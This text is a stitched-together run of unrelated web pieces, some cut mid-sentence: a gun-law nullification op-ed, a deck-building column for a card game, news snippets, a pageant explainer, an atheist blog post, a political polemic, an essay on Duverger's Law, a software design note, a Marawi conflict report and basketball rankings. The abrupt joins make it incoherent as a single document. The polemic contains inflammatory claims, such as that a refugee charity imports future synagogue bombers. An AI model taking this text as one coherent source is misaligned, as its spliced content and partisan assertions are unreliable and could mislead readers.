The ATF employs about 2,400 special agents. Do you really think that small group of people can impose federal gun laws on more than 300 million reluctant people encompassing 3,794,083 square miles without state and local cooperation? They couldn’t enforce the marijuana laws once people and states simply started ignoring them. They won’t be able to enforce the gun laws either.
The gun people need learn a thing or two from the weed people. Stop obsessing over federal action and Supreme Court rulings. Stop the Supreme Court panic. Stop acting like anyone election will forever end your gun rights.
Stop.
Just stop.
Pull your pants up, square your shoulders, get busy and nullify the unlawful federal actions that infringe on your natural right to keep and bear arms.
The weed people did it. Surely you can too. Heck, it’s a lot less drastic than the whole “out of my cold, dead hands” thing.Hello everyone! Hopefully this column has inspired some of you to start brewing, and given you the tools to build decks, but we’ve never really sat down and talked about how to differentiate a successful deck from an unsuccessful one. This can be fairly tough to do on the small scale – small sample size with an unknown deck can easily skew winrate results one way or the other, and even a good winrate is not necessarily indicative of a successful brew. It can be just as important to identify an unsuccessful but winning brew as a successful but poorly performing brew.
To that end, I’m suggesting a few simple indicators that you can use to indicate whether a brew is a successful experiment or a failed one. The indicators are: Power, Consistency, and Innovation. Doing well at the first two indicators is generally a sign of a good brew, even if winrate is low, and doing poorly at both is generally a very bad sign. Innovation is a special category – if you fail at Innovation, your deck is likely dead in the water. I’ll expand on each of the categories in the following sections.
Power
Power is a somewhat subjective value that combines both individual card power and card synergy. Basically, it’s a measure of how strong the deck is when its running on all cylinders – exclusively good draws. When some decks get in the groove, they can be tough to stop – similarly, some combo decks have a god draw that just wins the game. These decks would be said to have high power, because you’re building towards something that will probably win you the game. Other decks aren’t doing anything quite so powerful – synergy based Strangers decks come to mind here. At the end of the day, you’re flooding the board with cheap units, tossing some buffs and keywords on them and hoping that carries the day. The deck doesn’t have much individual card power, and the synergies combine to make a mediocre aggressive deck – even when it’s working, its power level isn’t very high.
Decks with powerful individual cards can cheat a bit on synergies, because your cards are strong enough that you’re not giving too much up by not having a super powerful strategy. Conversely, decks with low card power need to rely on powerful synergies, or you’ll fall well behind on card quality – Unstable Form style combo decks often fall into this trap.
If a deck has low power, it’s going to struggle to find a home because the deck may be defeated by more powerful decks or cards even when its incredibly consistent. Conversely, a high enough power deck can be worth playing even if it isn’t the most consistent deck around.
Consistency
This section is relatively self explanatory – it refers to how often the deck is able to bring its disparate pieces together, and also to the power base of the deck. Brew decks often include three or more factions, which can lead to some tough power decisions when you’re playing Icaria alongside Champion of Cunning. If your power base isn’t consistent, the deck is going to lose a lot – unless it can make up for that sacrifice with tons of power, a la super old school oops-all-champions Felnscar decks.
A combo deck that rarely comes together isn’t ideal, but one that happens nearly every game is extremely desirable. Redundant pieces or lots of draw can help improve the consistency of your deck, and an incredibly consistent deck can actually have a higher average power level than a powerful but inconsistent one (Always 60% power is better than half 100% and half 0%, to use a simple example).
Innovation
Most players can figure out how powerful or consistent a deck is after playing it a number of times, but Innovation is the most subject section of them all. Innovation does not refer to how many unique cards you’re playing in your deck or anything like that. Roughly, Innovation means “Why am I playing this deck”.
The obvious fail case is when you’re too close to an existing deck – if you list is comparable in power and consistency to Rakano, but is only 2 cards different, what’s the reason to play your list instead of the established archetype? Alternatively, it could be in completely different colors than Rakano, but if it ends up at a similar level its going to be a tough sell. Another common fail case is twisting an existing archetype to fit in a brew card, like slotting Call of the Ancients into Chalice as a kill condition. Yes, you can do this, but it doesn’t really improve the deck or change it very much, so it lacks a compelling argument to play that version.
Sometimes, the problem with Innovation has very little to do with the actual contents or performance with the deck. The best example of this is Hooru Control. Yes, you can play Hooru Control, and there are tuned and successful lists. However, since there are 0 actual Hooru cards you want to play, there’s very little draw to the archetype – players are better off playing a different Control archetype entirely, or adding time for powerful Combrei cards at very little cost.
On the other end of the spectrum are decks that work. Examples of past brews are fringe* decks like Kalis, Crown decks, Haunting Scream. Decks that are powerful in their own right, have their own unique playstyle, and at least enough consistency to usually go off. Each of these decks is built around its namesake card, which is a common starting point for most brews. Another good example of a brew deck that made it all the way was Feln Tempo. It had something that other decks didn’t (speed and disruption), was in a color combination with powerful cards, and enough consistency to do its thing.
Innovation is probably the most important of the three indications in terms of encouraging other people to play your brew. If there’s no draw towards the deck, nobody is going to want to play it no matter how powerful or consistent it is.
The Brew Success Scale
We’re going to end the day by talking about a scale I made up that can be used to indicate how well a brew deck did after it was built. With every new iteration of your deck, aim to climb one level higher on the scale!
Got There – New Archetype
The slam dunk of brew decks, the deck has been accepted as a legitimate archetype in its own right. Every meta deck technically starts out here and moves from there, some brews (Stonescar Weapons) go no further. At this point and beyond, you’ve made it as a brewer. Congratulations!
So Close – Deck of the Day
You’re so close! Maybe you made a popular post, maybe a lot of people saw you play and got inspired – in any case there’s copycats all over! Most of them will put the deck back down, and it never quite breaks though into the mainstream – but don’t give up! Decks and brewers have languished here for months before finally breaking through. 4F was a ridiculous pile the first time someone tried to push it, and it turned into one of the strongest decks at the end of closed beta.
Gaining Ground – Heard of It
Maybe you’re the one guy always bringing Feln Midrange to tournaments. Maybe you’ve been pushing Icaria Gold for the last three months. We’ve heard of you and some brave souls have copied you, but the masses are waiting for proof or at least enough hype to draw them in. One chance is all you need to potentially launch your deck from fringe to core.
Well, it works – Functional Deck
All right, we’ve built Hooru Control. …now what? The deck wins, and that’s great, but you’re going to need to push it out to the people if you want it to hit the mainstream. From here on out it’s less about deckbuilding an much more about promotion.
Something’s Missing – One Card Off
You’ve found the optimal configuration, but it’s not going to happen. There’s something you can’t beat, or your power and consistency are just too low across the board. You’re waiting for a single new or discovered card to give you the boost you need to push the deck to stardom.
Back to the Drawing Board – Unsuccessful Configuration
There’s definitely SOMETHING good in this pile of cards, but this isn’t the right build to draw it out. Maybe you’re in the wrong factions, or you’ve building the deck for aggro when it would be stronger as midrange, but whatever it is, it’s not working. Plenty of tuning will be required to figured out the missing pieces. Identifying the difference between this kind of deck and one with no promise whatsoever can be almost as valuable a skill as being able to identify what is missing.
Total Failure – Nothing There
You tried, but it just didn’t work. Icaria Crown didn’t have the consistency you were looking for, and even when its powerful combo came together you rolled over to aggro. It was a failed experiment, but now you’ve eliminated one more thing that didn’t work. One to the next build!
Conclusion
Thank you all for reading today! My article today was inspired partially by my own frustration with Hooru Control, partially by MillerTool sticking Light the Fuse in every deck and calling it a “new archetype”, and partially by a post on Reddit about Call of the Ancients. “Why play this deck” is a question all decks will eventually need to answer, and they’ll need serious competitive reasons if they hope to see |
can be in on the joke.”
See Video: Melissa McCarthy Reveals How She Was Offered the Role of Sean Spicer on 'SNL'
See tweets from bystanders below.
The things you see in New York City. Melissa McCarthy riding Sean Spicer's podium through Midtown #SNL pic.twitter.com/BEorGZ15yS — Donie O'Sullivan (@donie) May 12, 2017Halloween at one Niagara-area school will be looking a whole lot different this year.
Instead of dressing in costumes, students at McKay Public School in Port Colbourne, Ont., are being told to wear black and orange clothing, in favour of a more inclusive “Spirit Day.”
The Halloween dance for Grade 7 and 8 students was also cancelled, according to a report by the Welland Tribune.
The school wasn’t immediately available for comment, but District School Board of Niagara spokesman Brett Sweeney told CityNews, “Students will be taking part in Halloween-themed events. The only difference is the costumes will be black and orange.”
It is up to the principals of each school to determine if a “Spirit Day” is right for their school, he said.
The change outraged some students and parents. One group has organized a costume parade outside the school on Halloween Day.
Parade organizer and parent April Smith told the Tribune that she hopes parents will pull their children out of school early to participate.
Sweeney said the dance will be held as planned.
Share your thoughts with us in the comments belowADVERTISEMENT
The conservative young women of America had better get into training now, says Tim Murphy at Mother Jones. Registration has opened for Miss Liberty America, a pageant that promises to give "America's elite feminine patriots" a chance to display their "patriotism, intelligence, talent, beauty," and precision rifle skills. When Murphy referred to the event as "the first-ever Tea Party beauty pageant," however, organizers took exception. Here's a concise guide:
What is Miss Liberty America?
A national pageant for young conservative women, scheduled to take place in Las Vegas on July 4, 2012. Conceived along the lines of a traditional beauty pageant, the contest will "promote liberty, the military, and the documents of our founding fathers."
How will the contestants be assessed?
Would-be queens will parade in a one-piece swimsuit (adhering to the "minimum standards of modesty") and an evening gown, demonstrate a talent, answer questions regarding the documents of America's founding fathers, and compete in marksmanship.
Sorry... marksmanship?
Yes. "This will be the first pageant of its kind to introduce competency in the handling, safety and use of firearms, and CPR," say the organizers. "The contestants must be able to save a life as well as defend one." In addition to $10,000 cash and a college scholarship, the winner will receive a lifetime membership in the National Rifle Association.
Who is behind this?
The pageant is the brainchild of Alicia Hayes-Roberts, sister of prospective 2012 presidential candidate Rutherford B. Hayes, a military veteran whose proposed platform calls for withdrawal from the United Nations, a return to the gold standard, and the abolition of the IRS. He is also the pageant's chief financial officer.
Why can't I call it a Tea Party pageant?
Despite the pageant's embrace of Tea Party concerns like Second Amendment rights and the military, Hayes-Roberts told Mother Jones earlier this week that she doesn't want to be "associated" with fringe movements. "I'm trying to bring people together, not separate people," she said, noting the judging panel will be racially mixed. "And there are some organizations that do nothing but segregate people."
Can Miss Liberty America really bring people together?
Well, "for better or worse," that's what the Miss America pageant once did, says Libby Copeland at Slate's Double X. But the conservative-sounding mission of this pageant "only underscores what a culturally fragmented country we live in." Anyway, it's difficult to take seriously an event which offers "complete dental care" and "a full-length mink coat" as prizes.
Sources: Mother Jones, Miss Liberty America, Double XRichard Wade here.
I just got back from my trip to attend the Reason Rally and the American Atheists National Convention. Someone who knows that I’m an atheist was curious about what the speakers said, and their very first question was, “Were they arrogant?”
Arrogant. Of the several tens of thousands of adjectives in the English language, I was being asked, yet again, about this one adjective that some atheists have earned once in a while, but which is far more frequently tacked onto their noun as if it’s a grammatical error to leave it off.
“Why,” I asked, “are you asking if they were arrogant?”
“Well, because I’ve heard some atheists talk, and they were arrogant.”
I felt, along with the sensation of blood pressure rising in my neck and ears, a rising surge of indignation, exasperation, and anger. Then, without deliberation or forethought my reply came flowing out of me, softly and slowly at first, then steadily rising in volume and velocity until it was loud and fast at the end:
“Yes. They were arrogant. They were very arrogant. They had the arrogance to not just request, but to demand that they be given the same respectful treatment as civilized people give each other in general. They had the arrogance to not just request, but to demand that they be judged by their behavior rather than by their beliefs. They had the arrogance to not just request, but to demand that religious people who enjoy laws that protect them from discrimination not break those same laws by discriminating against atheists. They had the arrogance to not just request, but to demand that religious people honor the Constitution that guarantees their freedom only because it also guarantees the freedom of those who disagree with their views. They had the arrogance to not just request, but to demand that elected officials diligently represent the interests of all the people, not just those people who share the majority religion. They had the arrogance to not just request, but to demand that laws and public policy be guided by clear, rational thinking, and based on verifiable facts rather than on conveniently ambiguous passages written on animal skins thousands of years ago, and used only to serve the selfish interests of pandering politicians and their financial backers. They had the arrogance to not just request, but to demand that all women enjoy all the same rights and control of their personal lives as do men, in actual practice rather than just in theory, and that children be treated as human beings rather than as nothing more than investments in progeny, or the toys of exploitative clerics. They had the arrogance to not just request, but to demand that adult couples have the right to marry and to be recognized as legitimate families in society regardless of their gender, without any restrictions dictated by ignorant nomadic tribal chiefs long since turned to dust. In short, they had the arrogance to not just request, but to demand that all humans treat all other humans HUMANELY! Yes! they were very arrogant! Unashamedly, unapologetically, wonderfully, inspiringly, COURAGEOUSLY ARROGANT!”
...
If any of that is going to be called “arrogant,” then I hope that a lot of it has rubbed off on me while I was among those thousands of atheists in Washington DC. If someone calls me “arrogant” because I have behaved like those atheists, then I shall feel deeply honored by the compliment.
_____________________________________
But it wasn’t all deadly serious; much of it was simply great fun, and I really enjoyed seeing friends again, such as the dynamo known as Hemant:
I shared a hotel room and had several adventures with my good friend Daniel Fincke, (left) author of the brilliant Camels With Hammers. The only thing that matches the depth of Dan’s mind is the warmth of his heart. We enjoyed the Rally and the post-Rally dinner with, (right) who writes the very popular Dispatches from the Culture Wars
After meeting her in California last year, it was good to see the awesome Jen McCreight again, who writes the equally awesome Blag Hag:
I got to meet the one and only PZ Myers, whose enormous readership at Pharyngula dominates much of the atheist blogosphere. He gave an excellent talk at the Convention about the incompatibility of science and religion. Hmmm. Shouldn’t he be wearing the black hat as the “bad atheist,” and I should have the white hat as the “good atheist”?
On Sunday and Monday at the American Atheists National Conference I met the legendary Greta Christina, who was, as she always is, very warm and gracious. Her speech was as incisive and insightful as is the incomparable Greta Christina’s Blog:
Finally, I was successful in finding Justin Vacula, who has taken up the challenge from my post, “Really, Really, Really Inoffensive Atheist Billboards,” and greatly improved on the idea by having an excellent bus ad designed with simply the word “Atheist.” on it. He submitted it to the publicly-funded bus company in his area, and they have refused to carry the ad. With the assistance of American Atheists, litigation is about to commence. You can read Justin’s well written installments about the ongoing controversy, which even includes threats to him by a bus driver, on Justin Vacula’s Blog. He and I enjoyed lunch together, and I was thoroughly impressed by his 100 mph mind, his broad interests, and of course his tenacity and courage.
These are just a handful of the admirably “arrogant” people I had the privilege to meet and to hear. I hope that I can emulate just a small portion of their energy, their integrity, their determination, and their demanding, unrelenting compassion.Toronto doesn’t go to the polls until Oct. 27, but now that the registration of new candidates is closed and the mayor’s brother has decided to finally start campaigning, this will be Toronto’s first chance to see how Doug Ford performs in a public debate.
The debate is supposed to begin at 7:30 p.m. ET at York Memorial Collegiate in Toronto. The Huffington Post points out that it will largely be Doug Ford’s personality on display tonight. Known as a bully to many in city hall, he will have to come across as likeable as his little brother, Rob. Meanwhile, the Toronto Sun is reporting that Ford plans to go after front-runner John Tory and call him a “phony” during tonight’s debate.
Burn.
But for the rest of us, we can follow along with the #ToPoliBingo card below. Check off each tile by clicking (or tapping) on it and be ready to yell “bingo!’ when the time comes. Global News will be live streaming the event here.Daniel Greenfield, a Shillman Journalism Fellow at the Freedom Center, is a New York writer focusing on radical Islam.
The left’s latest target is a Chanukah party where it will be protesting Muslims on behalf of Muslims.
If you’re confused, imagine how confused they are.
The Azerbaijani embassy of a secular Muslim country is co-hosting a Chanukah party with the Conference of Presidents of Major American Jewish Organizations. But the Azerbaijani embassy had made the political faux pas of obtaining space at the Trump International Hotel in Washington D.C.
Outside the usual anti-Israel contingent of the anti-Jewish left, If Not Now and Jewish Voice for Peace, will be screaming hate. Meanwhile some more organized left-wing Jewish groups, the Union for Reform Judaism, Women of Reform Judaism, the National Council of Jewish Women, along with the anti-Israel activists of Ameinu and Peace Now, not to mention HIAS, which can't wait to bring the synagogue bombers of tomorrow to America today, are boycotting a Muslim party to protest in favor of Muslims.
Some are demanding that Trump speak out in favor of Muslims before they’ll attend the Muslim party. If they were any more mixed up, they would be tying their shoelaces to someone else’s shoes.
The Workmen’s Circle, which was last relevant when Bundists were helping the Communist butchers of the USSR hunt down Rabbis and religious Jews for the gulags, announced that it was boycotting an event hosted by a Muslim country because Trump is anti-Muslim.
When it comes to Trump, a militant atheist organization is now more Muslim than the Muslims.
Azerbaijan is not the first Muslim country to hold an event at the Trump International Hotel. It won’t be the last. Why does the National Council of Jewish Women seem more outraged about being in a hotel with Trump’s name on it than actual Muslims? Who made the Union for Reform Judaism their Imam?
But when leftists weren’t accusing Trump of being anti-Muslim, they were outraged that the Trump International Hotel was accommodating Muslim countries such as Bahrain and Azerbaijan because, like every single Muslim country on the planet, they have human rights issues. If you don’t have relations with Muslim countries that violate human rights, you can’t have relations with any Muslim countries.
Was the problem that Trump was anti-Muslim or that he was taking money from Muslims?
The deranged left couldn’t decide. Numerous contradictory letters blasted Trump for being anti-Muslim and for doing business with the Muslims of Azerbaijan. A weary Malcolm Hoenlein, the executive vice chairman of the Conference of Presidents of Major American Jewish Organizations, asked, “Do you think the president-elect knows who rents rooms for two hours?”
Trump may not, but a left that has lost its mind over Trump most certainly does.
To make the outrage even more ridiculous, the Azerbaijani embassy only picked the Trump International Hotel because of its proximity to the White House so that some of the same left-wing leaders boycotting the party could attend Obama’s Chanukah party and their party on the same night.
Of somewhat less interest to them, but more relevance, the Trump International Hotel, the venue where protesters will arrive clutching their grimy copies of Philip Roth’s The Plot Against America, was one of the few that could handle Kosher. After the election, I listened to a Rabbi recall how pleased Trump had been at being shown how the kitchen of his Mar-a-Lago resort had been made Kosher.
Unlike JVP, If Not Now, Ameinu, Peace Now and the Union for Reform Judaism, Trump likes Jews.
The anti-Trump mob that loves Muslims, unless they book a room at the Trump International, hates Jews. The party is taking place during a major visit by Israeli Prime Minister Netanyahu to Azerbaijan. The most vocal opponents of the event don’t just hate Trump, they also hate Israel. They hate Israel so much that they’re discovered a sudden interest in the human rights situation in Azerbaijan.
They couldn’t have found Azerbaijan on a map a month ago to save their lives. Now after 5 minutes of googling, they’re instant experts on the human rights situation in a country whose name they can’t spell.
Azerbaijan’s human rights are vastly superior to its enemy, Iran, whose government was illegally supplied with billions of dollars by the Obama regime in a deal that they vigorously supported. The National Council of Jewish Women endorsed the Iran nuclear sellout. Ameinu gathered signatures in support of the hollow agreement which will let Iran go nuclear. Peace Now rallied its members to thank the politicians who supported the pass for Iran’s nuclear program and to yell at those who didn’t.
Ann Toback of the Workmen’s Circle fumed that the party “legitimizes a corrupt country where freedoms have been suppressed”. This is the same radical organization that put out a statement backing the Iran deal which legitimizes a genocidal terror state where freedom hangs at the end of a noose.
The left likes to pretend that it hates Trump because it loves Muslims. But the truth is that it doesn’t love anyone. Not even its Muslim allies for whom it pokes safety pins through its sweaty shirts and dirty blouses. The left does not love. It only hates. It hates Trump, because it hates America. It hates Israel, because it hates Jews.
It rages about the “normalization” of anti-Semitism even as it endorses Keith X. Ellison who defended the anti-Semitism of Louis Farrakhan and the Nation of Islam, who accuses Israel of being an apartheid state and Jews of being mobilized by Israel to do its bidding. J Street boss Jeremy Ben Ami insists that Ellison’s views “are perfectly consistent with the views of the majority of American Jews”.
That’s the normalization of anti-Semitism in black and white. Trump isn’t behind it. The anti-Jewish left is. The anti-Jewish left has lost its morals and its mind. Its protest of a Chanukah party is an ugly tantrum in a teapot. It has become so deranged that it’s protesting Muslims on behalf of Muslims. But anything goes when it comes to hating America. Anything goes when it comes to hating Jews.The United Kingdom general election takes place next week, with current polling predicting no clear majority in the House of Commons for any party. One of the most well-known concepts in political science is Duverger’s Law, which states that two parties will dominate under ‘first past the post’ systems, as is the case in the U.S. This concept also held for the UK, until the recent rise of smaller parties and the decline of the traditionally largest parties, Labour and the Conservatives. Patrick Dunleavy examines the decline of two-party politics in Britain, and argues that it sounds the death knell for Duverger’s Law, with Britain now having a multi-party system akin to that which exists in other western European countries.
Every election held under ‘first past the post’ (FPTP) voting in the USA produces perfect two-party outcomes – no party except the Democrats and Republicans gets a look-in. Yet elections held under the same voting system in every other established democracy (such as Britain, Canada, and India) have increasingly produced multi-party outcomes.
The UK’s current general election looks certain to put another nail in the coffin of the most famous proposition in political science – Duverger’s Law, first formulated in the 1950s. In its modern testable form (after Andrew Cox), the Law says that in each local constituency the number of (substantial) parties under FPTP should equal one plus the number of seats being contested (which in this system is 1), so = 2. A highly nationalized political system, like Britain, should also show two parties dominating nationally, although maybe with smaller regional competitors in some cases – as with small special parties in Scotland, Wales, and Northern Ireland. The top two parties should accordingly be able to form single-party majority governments.
Yet in the 2015 UK general election a five-year coalition Conservative-Liberal Democrat government has just expired. And competition is taking place within party systems that show multiple (big) parties competing in both England and Wales, and Scotland – as Figure 1 shows. The different blobs here show where each party stands on a left/right ideology scale. And the size of the blob shows how generally significant a party is in UK political terms (including winning seats in the European and Scottish parliaments, or the London Assembly). Finally, the numbers inside each blob show that party’s current general election support, averaged across the six most recent opinion polls.
Figure 1 – Two UK party systems, 2015 election
So Britain now is pretty much exactly like every other multi-party system across western Europe. In England two old governing parties on the centre-right and centre-left are continuing with flagging support, separated by a small liberal party. The Liberal Democrats’ vote has shrunk dramatically from 23 percent in 2010, as the cost of supporting a Tory dominated government. The UK Independence Party is a pretty standard ‘anti-foreigner’ party; of the kind present in the European right everywhere now. Its appeal is fuelled by scare stories of immigrant influxes and anti-EU rhetoric. The Greens on the left are still battling to make a mark in the UK, but run third amongst young people.
Turning to Scotland, the Scottish National Party (which has a majority government in the Edinburgh Parliament) is riding high on last year’s referendum wave – when 9 out of every 20 people voted to leave the UK. The SNP’s surge has pushed Labour (the traditional hegemon north of the border) to a poor second, and marginalized the other unionist parties. On their current form, the SNP might yet win almost every seat in Scotland, unless some Tory and Liberal Democrat voters can bring themselves to back Labour as a tactical vote for unionism.
But the key test of Duverger’s Law comes at the local seats level. Figure 2 shows the predicted seats outcomes across Great Britain next week. Each black dot is a single constituency result. On the bottom axis, seats where the Conservatives are in the lead over Labour are shown on the right hand side, and seats where Labour leads the Tories on the left. The vertical axis shows the combined proportion of votes in each locality backing parties running third, fourth or fifth nationally.
Figure 2 – The predicted local seats outcomes on 7 May 2015, Great Britain
If Duvergers’s Law was working perfectly in Britain, all the seats should be piled up on the bottom axis of this chart, and completely within either the red or blue triangles – showing seats where either a Labour or a Conservative MP wins with majority support. (Outcomes exactly like this happen at every election in the USA still).
But instead, there are no seats close to the bottom axis – almost no UK contests in 2015 will show levels of combined third, fourth and fifth party voting below 20 percent. There is also a huge upward spread of seats into the ‘Crown’ area shown, which is where parties running third or fourth nationally can potentially win seats (depending on how fragmented this ‘remainder’ vote is). As a result, very few MPs will have more than 50 per cent local support in 2015, and many of these will actually be in Scotland for the SNP.
So the UK’s 2015 general election outcome spells the complete destruction of Duverger’s Law, and in the country which is the locus classicus for the Law. How voters choose may also soon lead to the UK’s moving further towards a new voting system and a new, fixed constitution. All this now depends on whether Ed Miliband can become Prime Minister, or whether David Cameron can cling on in 10 Downing Street.
For politics nerds – so, without Duverger’s Law, what is left to explain perfect two party politics in America? It seems to have nothing to with first past the post voting per se, but instead to reflect other US-specific features, especially:
Electing single office-holders (the president, state governorships and big city mayors) using first past the post – rather than better, modern systems, like the ‘supplementary vote’ system used to choose the London mayor; or the Alternative Vote used in Australia.
The largely unregulated way in which majorities inside US state legislatures control Congressional and state legislature districting, who can vote, and many other features of elections – often now in startling partisan ways. And
The dominance of big money campaign finance in US elections.
This article has also appeared at The Conversation.
Featured image credit: William Warby (Flickr, CC-BY-2.0)
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Note: This article gives the views of the author, and not the position of USApp– American Politics and Policy, nor of the London School of Economics.
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About the author
Patrick Dunleavy – LSE Government
Patrick Dunleavy is Centenary Research Professor at the Institute for Governance and Policy Analysis, University of Canberra; and Professor of Political Science at the LSE. He is also co-Director of the UK’s Democratic Audit (www.democraticaudit.com).For my current project, some design decisions had to be made to ensure good testability and test coverage.
The basic architecture
I/O layers
Fix is mainly a web server that stores information in files. This means there are two main points where I/O happens, i.e. where information flows in and out of the program. This is a very common pattern that can be seen in many applications: In a tiered architecture, we often see a UI layer at the top and a persistence layer at the bottom. In the case of Fix, instead of the UI I have the REST API.
I/O is hard to test in unit tests. In fact, unit tests should not involve I/O layers at all, because they need to be fast and I/O tends to be slow, which results in a bad testability.
I use TDD, so in principle I want to have all application logic under unit tests. Together that means that the two I/O layers should be very thin and have as little logic as possible.
The web server
I do not want to implement a web server from scratch. It would definitely be an interesting project, if I wanted to learn about sockets and the involved protocols etc. But that is not the topic of this project; I want to focus on the core functionality of Fix.
Therefore I decided to use a third party library that provides the web server functionality. Often these frameworks allow to set up a HTTP server with a few lines of code and all you have to do is handle the requests.
This approach fits nicely to the decision of having thin I/O layers. The actual request processing part can be developed with TDD, the server layer that uses the third party framework can be small and relatively dumb. The only logic happening there happens inside the framework and has been tested by the library developers – assuming it is a well tested library.
What remains to define is the interface between the server layer and the application logic that handles the requests. I don’t want to bind me to a specific server library, so the interface may not use the library’s own request and response structures. Breaking those structures into basic types has to be done in the server layer as well.
The persistence layer
For the other end of the application similar considerations have to be made. Ideally, there should be a layer consisting only of basic file system operations, like creating directories, counting files etc. This can then be mocked away for unit tests that deal with the file based storage logic.
Ideally this layer would simply be a interface for the filesystem part of the standard library. Since that is only coming with C++17, I’ll have to implement it with other libraries that are not yet in the standard, e.g. Boost.Filesystem or Poco.
REST API and storage layer
Between the two I/O layers is the application logic. Since this part is independent of the libraries used for the I/O layers, it can be split into smaller parts as needed. Currently I have identified a rough division into two parts.
One layer deals with the raw calls to the REST API and contains the application logic. The other layer abstracts the storage logic. It is more than mere calls to the file system:
Since the server library might be multithreaded, the storage layer has to take care of the synchronization of the file access. In addition, there can be smaller pieces of logic in the storage layer, e.g. assigning ascending IDs for newly created and stored issues.
In addition, by separating the storage mechanism in a different layer it should in theory be possible to exchange the storage mechanism, e.g. by using a data base.
Conclusion: Testability through separation
I have described earlier that I want to use TDD and BDD for the development of Fix. By separating the I/O parts into their own layers, I can develop everything between them using TDD. The I/O layers themselves can not be unit tested, but they are involved in the acceptance tests which test the whole system
You can find the current state of Fix on GitHub. At the time of this writing, I have not yet separated the file I/O layer from the storage layer. In fact, the whole project is in a rather crude state.PNP Director General Ronald "Bato" Dela Rosa
MISAMIS ORIENTAL - The country's top cop tried to boost the morale of the police force, amid clashes with the Maute group in Marawi City.
While fighting back tears, Director General Ronald "Bato" Dela Rosa on Monday checked on troops fighting alongside the military to crush terror group Maute.
"Wala akong intensyon na maging emosyonal, bumigay lang. Naawa ako sa mga tao ko. Diba galing kami dito ni presidente the other day at nakita ko yung mga sitwasyon ng tropa. Kaya I can't sleep knowing they are here fighting and I am there sleeping. I cannot relax knowing that my men are engaged fiercely in battle," said Dela Rosa.
The PNP Chief also reminded government troops to continue the fight to retake Marawi City.
"Sa mga tropa natin sa military at police all government forces all engage in the battle to retake Marawi City. Just hang on, fight, God is with us. Di tayo patatalo sa evil forces," said Dela Rosa.
Dela Rosa said martial law has so far delivered "positive effects" in parts of Mindanao, claiming that Davao recorded a zero-crime rate on the first day of implementation.
Sixty-one militants, 20 members of the security forces and 19 civilians have been killed since Tuesday, when Maute rebels went on the rampage in Marawi after a botched attempt by the military to arrest Isnilon Hapilon, who the government believes is a point man for Islamic State in the Philippines.
The ability of the Maute group to fight off the military for so long will add to fears that Islamic State's radical ideology is spreading in the southern Philippines, and it could become a haven for militants from Indonesia, Malaysia and beyond.
The military believes the Maute carried out their assault before the Muslim holy month of Ramadan to capture the attention of Islamic State and earn its recognition as a Southeast Asian affiliate.
Witnesses in Marawi said they had seen militants flying the Islamic State flag and wearing black outfits and headbands typical of the group. -- With ReutersArizona enters the season with talent and depth. And a cloud over its head. Joe Camporeale-USA TODAY Sports
Congratulations, Arizona. I'm ranking you as my No. 1 team in the nation even though, purely for good and substantial off-the-court reasons, history might mark my selection as an exercise in folly.
We don't know what the near future will bring for Sean Miller and the Wildcats off the court, only that whatever happens there will determine everything that transpires in the future on the court in Tucson. For Arizona as indeed for college basketball as a whole, this is a period of uncertainty the likes of which we have rarely seen in the sport.
Be that as it may, on paper the Wildcats do strike me as the best approximation we have this season of past national champions like Kentucky in 2011-12 and Duke in 2014-15. Those teams blended returning experience with multiple one-and-done freshmen on their way to confetti-filled first Monday nights in April.
Arizona might not turn out to have multiple one-and-done freshmen, but Miller does have a projected top-four pick in Deandre Ayton and a potent cadre of veterans led by Allonzo Trier, a preseason first-team ESPN All-American. This team does not lack for talent.
Then again, that's not the only path to winning a national title. Think for a moment about what we've seen the past two years from North Carolina and Villanova, respectively.
The Tar Heels and the Wildcats won their titles by being older. Roy Williams started three juniors and two seniors, while, in the 2016 tournament, Jay Wright put two seniors, two juniors and a lone non-one-and-done freshman (Jalen Brunson) on the floor for the opening tip. Those were veteran teams whose key contributors had logged a high number of minutes together.
Kind of like Wichita State this season. The Shockers have all five starters back (or will, when they get healthy) from a team that went 31-5 in 2016-17. Doubt the schedule that Gregg Marshall's team played last season if you wish, but also remember that said schedule included Kentucky in the round of 32. That game came down to the 40th minute.
Below Arizona and Wichita State, you'll find plenty of teams way younger than the Wildcats (such as those other Wildcats in Lexington, Kentucky) and even a few rosters with more returning experience than the Shockers (I see you, USC). Before we dive in to all 351 teams, though, here are answers to a few questions that tend to be raised by this 1-to-351 business...
How are these rankings created?
Halfway between a pure rating system and a pollster's (greatly) expanded top-25 ballot, you'll encounter something like these rankings. They're the product of a lively and occasionally contentious conversation between yours truly and my laptop.
I start by rounding up the usual modeling suspects, namely, how good was the team last season and who's back from that roster. I make due allowance, where applicable, for sensational incoming freshmen. Lastly, I tweak as I see fit, allowing for things like transfers, aberrantly good or bad 3-point luck on offense or defense last season, coaching changes, etc.
Speaking of who's back from last season...
What does "%RPMs" mean?
This is the percentage of possession-minutes that a roster returns from last season. For example, Bradley is bringing back every player that averaged at least four minutes a game last season, so the Braves' figure there is 100 percent. At the other extreme, not surprisingly, is Kentucky, which returns just 7 percent of last season's possession-minutes. This is a statistical way of saying simply, "Wenyen Gabriel is back, and everyone else is gone."
Here's a forecasting rule of thumb for the vast majority of programs that aren't blessed with sensational incoming freshmen and/or a sensational transfer. The D-I average for returning possession-minutes this season is 56 percent, and the shape of that particular bell curve means any figure below 37 or above 75 percent is statistically extreme. Couch expectations accordingly.
Why is Kentucky so low?
I'm not convinced top 10 is really so low, but see above: UK is the youngest team in the nation. While we think that John Calipari always has young teams (and he kind of does), this Wildcats roster is green even by Cal's standards.
Besides, during the current coach's tenure, UK's NCAA tournament seeds have correlated quite well with returning experience -- with the single and outstanding exception of last season. De'Aaron Fox, Malik Monk & Co. were young (RPMs: 26 percent), but they won an SEC regular-season title outright, earned a No. 2 seed and came within a Luke Maye game-winner of going into overtime with a Final Four berth on the line. Along with Kansas in 2013-14, Kentucky last season set the standard, so far, for how good a team that young can be. But, again, this season's Wildcats roster is significantly younger than what we saw in Lexington in 2016-17.
Now, with all possible questions answered (right?), here are my rankings for 2017-18. Enjoy.
1. Arizona Wildcats | RPM% 49
2. Wichita State Shockers | RPM% 93
3. Duke Blue Devils | RPM% 19
4. Michigan State Spartans | RPM% 77
5. Villanova Wildcats | RPM% 53
6. West Virginia Mountaineers | RPM% 53
7. Cincinnati Bearcats | RPM% 73
8. Kansas Jayhawks | RPM% 37
9. Kentucky Wildcats | RPM% 7
10. North Carolina Tar Heels | RPM% 38
11. USC Trojans | RPM% 98
12. Purdue Boilermakers | RPM% 72
13. Virginia Cavaliers | RPM% 51
14. Northwestern Wildcats | RPM% 88
15. Florida Gators | RPM% 48
16. TCU Horned Frogs | RPM% 82
